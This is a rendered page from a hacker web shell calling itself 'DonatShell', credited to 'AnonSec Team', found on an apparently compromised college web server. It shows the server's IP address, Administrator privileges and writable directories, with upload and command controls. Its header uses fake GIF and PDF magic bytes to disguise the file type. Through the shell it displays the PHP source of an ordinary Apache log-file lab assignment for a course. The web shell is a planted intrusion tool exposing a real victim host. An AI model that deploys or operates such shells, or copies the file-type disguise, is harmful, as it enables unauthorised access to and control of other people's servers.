GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/_Archive/Lab09.php
<?
// JimMartinson/CST1611/Lab09.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = '9';
$assignmentType = "Lab";
$assignmentTitle = "Log Files";
include('Common/class/assignment_evaluation.phpinc');
$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$week = 10;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(" ","",username($userId)); } else { $userFullName = str_replace(" ","",$_SESSION['userFullName']); $userId = $_SESSION['userId']; }
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<style type="text/css">b { white-space:nowrap; }</style>
<p>
<fieldset><legend><?=$evaluationType?> Assignment</legend>
<!-- <b>This <?=$assignmentType?> is due <?=classDueDate($class['meetingTime'],$class['StartDate'],$week)?>.</b>
<br /> -->
<ol>
  <li>Setup a <b><?=$evaluationName?></b> folder for use with this lab.
  	<ol type="A">
    	<li>Create a folder called <b><?=$evaluationName?></b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\<?=$courseNumber?></b> folder.</li>
      <li>Create a file named <b>!You are in the <?=$userFullName?> <?=$courseNumber?> <?=$evaluationName?> folder</b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\<?=$courseNumber?>\<?=$evaluationName?></b> folder.</b></li>
    </ol>
  </li>
  
  <li>Setup a host name for <b><?=$evaluationName?>.loc</b>.
    <ol type="A">
      <li>Open up your <b>C:\Windows\system32\drivers\etc\hosts</b> file in an text editor editor like TextPad or Notepad.
        <br />Enter the line <b>127.0.0.1	<?=$evaluationName?>.loc</b> and make sure there is a blank line at the end of the file.
      </li>
      <li>Save your changes.</li>
      <li>Verify that your host name works.
        <ol type="i">
        	<li>Start Apache.</li>
        	<li>Open up a browser.</li>
        	<li>Enter <b><?=$evaluationName?>.loc</b> in the address bar and hit enter.
          	<br>Your browser should now show the same thing it shows when your enter <b>localhost</b>.
          </li>
        </ol>
      </li>
    </ol>
  </li>
  <li>Setup a virtual host for <b><?=$evaluationName?>.loc</b>.
    <ol type="A"> 
      <li>Open up your Apache <b>httpd.conf</b> file and setup a virtual host in your <b>httpd.conf</b> file with a <b>ServerName</b> of <b><?=$evaluationName?>.loc</b> that uses the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\<?=$courseNumber?>\<?=$evaluationName?></b> folder. Change the name of the <b>ErrorLog</b> to <b><?=$evaluationName?>.loc.Error.log</b>. Change the name of the <b>CustomLog</b> to <b><?=$evaluationName?>.loc.Access.log</b>. Also set both logs to use your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\<?=$courseNumber?>\<?=$evaluationName?></b> folder instead of the Apache ServerRoot/logs folder.
      </li>
      <li>Save your changes.</li>
      <li>Verify that your virtual host works.
        <ol type="i">
        	<li>Stop and restart Apache (Load the new config).</li>
          <li>Open up a browser.</li>
        	<li>Enter <b><?=$evaluationName?>.loc</b> in the address bar and hit enter.
          	<br>You should see a page similar to:<br />
          	<div style="text-align:left; border:1px solid gray; width:600px; font-family:'Times New Roman', Times, serif; font-size:16px;">
		          <h1 style="text-align:left;">Index of /</h1>
              <ul type="disc">
              	<li><a href="#">!You are in the <?=$userFullName?> <?=$courseNumber?> <?=$evaluationName?> folder</a></li>
              </ul>
            </div>
          </li>
          <li>Look in your your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\<?=$courseNumber?>\<?=$evaluationName?></b> folder. You should see the log files there. It may look like:<br><img src="Lab09/Lab09folder.png" width="793" height="293" alt="Lab09 folder image"></li>
        </ol>
      </li>
    </ol>
  </li>
  <li>Setup a new <b>LogFormat</b> directive.
  <ol type="A">
  	<li>Make it a copy of the <b>common</b> LogFormat <code>("%h %l %u %t \"%r\" %>s %b")</code> with the following changes:
    <ol type="i">
    	<li>Add the <b>Remote IP-address</b> just after the <b>Remote host</b>.</li>
      <li>Add the <b>The time taken to serve the request, in seconds</b> just after the <b>Time the request was received</b>.</li>
      <li>Add <b>The URL path requested, not including any query string</b> and <b>The query string (prepended with a ? if a query string exists, otherwise an empty string)</b> just after the <b>First line of request</b>.</li>
    </ol>
    </li>
    <li>Setup the CustomLog to use the filename <b><?=$evaluationName?>.loc.Access.%Y-%m-%d-%H%M.%S.log</b> and to rotate after the file size reaches 5 KB.</li>
    <li>Setup the ErrorLog to rotate every 60 seconds.</li>
  </ol>
  </li>
  <li>Stop and restart Apache. Then reload the index or load files for enough time that you see both a new ErrorLog and a new CustomLog appear.</li>
  <li>Turn in <b><?=$evaluationName?></b> for grading.
    <ol type="A">
      <li>Copy your Apache <b>httpd.conf</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\<?=$courseNumber?>\<?=$evaluationName?></b> folder.</li>
      <li>Copy your <b>C:\Windows\system32\drivers\etc\hosts</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\<?=$courseNumber?>\<?=$evaluationName?></b> folder.</li>
      <li>Zip up your <b>Data_WWW\<?=$courseNumber?></b> directory into a file named <b><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFullName?>.zip</b>.</li>
      <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> - <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b><?=$courseNumber?> - <?=$evaluationName?> Submission</b> and attach your <b><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFullName?>.zip</b> file.</li>
    </ol>
  </li>
</ol>
</fieldset>

<fieldset><legend>Grading Criteria</legend>
Demonstrated assignment effectively: 10 points.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Incorrect attachment file name: -1 pt.
<br />
Work submitted incorrectly: -1pt.
<br />
Incorrect subject in email: -1pt.
<br />
Second and subsequent submission of work for grading: -1pt.
<br />
Work submitted late: -1pt.
</fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";

?>

Anon7 - 2022
AnonSec Team